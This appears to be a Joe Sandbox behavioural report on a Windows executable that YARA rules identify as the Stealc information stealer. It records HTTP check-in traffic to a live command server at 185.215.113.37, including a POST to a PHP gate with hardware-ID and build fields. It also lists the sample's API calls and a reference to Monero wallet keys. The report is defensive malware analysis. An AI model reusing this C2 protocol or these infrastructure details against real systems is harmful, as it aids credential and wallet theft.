Sep 27, 2024 23:14:02.381823063 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 27, 2024 23:14:03.118787050 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 27, 2024 23:14:03.118892908 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 23:14:03.133856058 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 23:14:03.139952898 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 27, 2024 23:14:03.397661924 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 27, 2024 23:14:03.397773027 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 23:14:07.552277088 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	5064	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 23:14:02.376786947 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 27, 2024 23:14:03.118787050 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 21:14:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 23:14:03.133856058 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEHDBAAECBFHJKFCFBF Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 31 38 33 41 46 34 42 44 33 45 38 32 30 37 38 35 38 38 37 32 30 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 2d 2d 0d 0a Data Ascii: ------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="hwid"6183AF4BD3E82078588720------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="build"save------CAEHDBAAECBFHJKFCFBF--
Sep 27, 2024 23:14:03.397661924 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 21:14:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	17:13:59
Start date:	27/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x8a0000
File size:	1'871'872 bytes
MD5 hash:	725D70229EB4EF1CB992CAFA8A031527
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2044296444.0000000005280000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2086459115.000000000140E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 008B9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01420408), ref: 008B98A1
GetProcAddress.KERNEL32(75900000,01420618), ref: 008B98BA
GetProcAddress.KERNEL32(75900000,01420630), ref: 008B98D2
GetProcAddress.KERNEL32(75900000,01420678), ref: 008B98EA
GetProcAddress.KERNEL32(75900000,014206A8), ref: 008B9903
GetProcAddress.KERNEL32(75900000,014286D0), ref: 008B991B
GetProcAddress.KERNEL32(75900000,01415D48), ref: 008B9933
GetProcAddress.KERNEL32(75900000,01415B88), ref: 008B994C
GetProcAddress.KERNEL32(75900000,01420420), ref: 008B9964
GetProcAddress.KERNEL32(75900000,014204E0), ref: 008B997C
GetProcAddress.KERNEL32(75900000,014203F0), ref: 008B9995
GetProcAddress.KERNEL32(75900000,01420540), ref: 008B99AD
GetProcAddress.KERNEL32(75900000,01415AC8), ref: 008B99C5
GetProcAddress.KERNEL32(75900000,01420468), ref: 008B99DE
GetProcAddress.KERNEL32(75900000,014204F8), ref: 008B99F6
GetProcAddress.KERNEL32(75900000,01415C68), ref: 008B9A0E
GetProcAddress.KERNEL32(75900000,01420558), ref: 008B9A27
GetProcAddress.KERNEL32(75900000,01420720), ref: 008B9A3F
GetProcAddress.KERNEL32(75900000,01415E08), ref: 008B9A57
GetProcAddress.KERNEL32(75900000,01420768), ref: 008B9A70
GetProcAddress.KERNEL32(75900000,01415E48), ref: 008B9A88
LoadLibraryA.KERNEL32(014206F0,?,008B6A00), ref: 008B9A9A
LoadLibraryA.KERNEL32(01420750,?,008B6A00), ref: 008B9AAB
LoadLibraryA.KERNEL32(014206D8,?,008B6A00), ref: 008B9ABD
LoadLibraryA.KERNEL32(01420780,?,008B6A00), ref: 008B9ACF
LoadLibraryA.KERNEL32(01420738,?,008B6A00), ref: 008B9AE0
GetProcAddress.KERNEL32(75070000,01420708), ref: 008B9B02
GetProcAddress.KERNEL32(75FD0000,01420798), ref: 008B9B23
GetProcAddress.KERNEL32(75FD0000,01428C70), ref: 008B9B3B
GetProcAddress.KERNEL32(75A50000,01428D48), ref: 008B9B5D
GetProcAddress.KERNEL32(74E50000,01415E28), ref: 008B9B7E
GetProcAddress.KERNEL32(76E80000,01428730), ref: 008B9B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 008B9BB6

Strings

NtQueryInformationProcess, xrefs: 008B9BAA

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: fc4067b84bf907fb5d79119870a2b08d77ff3de09ec9b1df36330e413cdba007
Instruction ID: e450105993da072694e0b4033423b9389cf2544a5416fdbc51f738f8ad5950f6
Opcode Fuzzy Hash: fc4067b84bf907fb5d79119870a2b08d77ff3de09ec9b1df36330e413cdba007
Instruction Fuzzy Hash: 64A11EBA5002C09FD354EFE8EDD89563BF9F76C301715851EA605CB264D639B883CB62

Function 008A45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 008A460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 008A479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008A4657

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 14d1667ebc26c8cf9a74b28f254ec4278cb141d3748cd9da85b23e7a3b87440c
Instruction ID: d7bf078aaef8b0fdc3039ea299dd465f22ca7d94d2594b4d161ed088869bcc95
Opcode Fuzzy Hash: 14d1667ebc26c8cf9a74b28f254ec4278cb141d3748cd9da85b23e7a3b87440c
Instruction Fuzzy Hash: D141C2707CB688AB8A2CB6A5A84DFDD7A75BB42F00B50505EAC2899380DFB4B9C04519

Function 008A4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 008BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008BA7E6

Part of subcall function 008A47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 008A4839
Part of subcall function 008A47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 008A4849

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 008A4915
StrCmpCA.SHLWAPI(?,0142F028), ref: 008A493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 008A4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,008C0DDB,00000000,?,?,00000000,?,",00000000,?,0142F0E8), ref: 008A4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 008A4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 008A4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 008A4E49
InternetCloseHandle.WININET(00000000), ref: 008A4EAD
InternetCloseHandle.WININET(00000000), ref: 008A4EC5
HttpOpenRequestA.WININET(00000000,0142F038,?,0142EB78,00000000,00000000,00400100,00000000), ref: 008A4B15

Part of subcall function 008BA9B0: lstrlen.KERNEL32(?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008BA9C5
Part of subcall function 008BA9B0: lstrcpy.KERNEL32(00000000), ref: 008BAA04
Part of subcall function 008BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008BAA12

Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

Part of subcall function 008BA920: lstrcpy.KERNEL32(00000000,?), ref: 008BA972
Part of subcall function 008BA920: lstrcat.KERNEL32(00000000), ref: 008BA982

InternetCloseHandle.WININET(00000000), ref: 008A4ECF

Strings

", xrefs: 008A4D33
------, xrefs: 008A49BD
------, xrefs: 008A4B28
", xrefs: 008A4BF2
------, xrefs: 008A4C69

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: b563f66300a5ee538bf0eae5f9286dae3a4627841b37ec5acd84f8f45d057b69
Instruction ID: 9bd9f07ffeff906c61d7dc39db17ff030d1c55177e09871211852fc89edac548
Opcode Fuzzy Hash: b563f66300a5ee538bf0eae5f9286dae3a4627841b37ec5acd84f8f45d057b69
Instruction Fuzzy Hash: EC12FC71910118AADB19EB94DCA2FEEB738FF14300F5041A9B106A6691EF706F49CF63

Function 008B78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 008B7910
RtlAllocateHeap.NTDLL(00000000), ref: 008B7917
GetComputerNameA.KERNEL32(?,00000104), ref: 008B792F

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: abd821a9d3789ad7007a6f2e314d96a48d96fac14e115a704075b626821ddeca
Instruction ID: 83bdfdb157053bc6754a5c7c025fe0be1e1cdaa271e5bd35e7c98785826775c6
Opcode Fuzzy Hash: abd821a9d3789ad7007a6f2e314d96a48d96fac14e115a704075b626821ddeca
Instruction Fuzzy Hash: C70186B1904349EFC710DFD4DD45BAABBB8F744B21F104219F645E7380D77859048BA2

Function 008B7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,008A11B7), ref: 008B7880
RtlAllocateHeap.NTDLL(00000000), ref: 008B7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 008B789F

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 34cdfdabf0c7dcee574f1caa664e21955b0caaf890707170f5c0a7f6ddfbcf5b
Instruction ID: 8777108bf18998cff1506824b63f2da5208ee2aa5b0c4dfaf08d25661a57b6d6
Opcode Fuzzy Hash: 34cdfdabf0c7dcee574f1caa664e21955b0caaf890707170f5c0a7f6ddfbcf5b
Instruction Fuzzy Hash: 88F044B1944648ABC700DFD4DD85BAEBBB8F704711F100159FA15E2780C77425058BA1

Function 008A1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 008A116A
ExitProcess.KERNEL32 ref: 008A117E

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
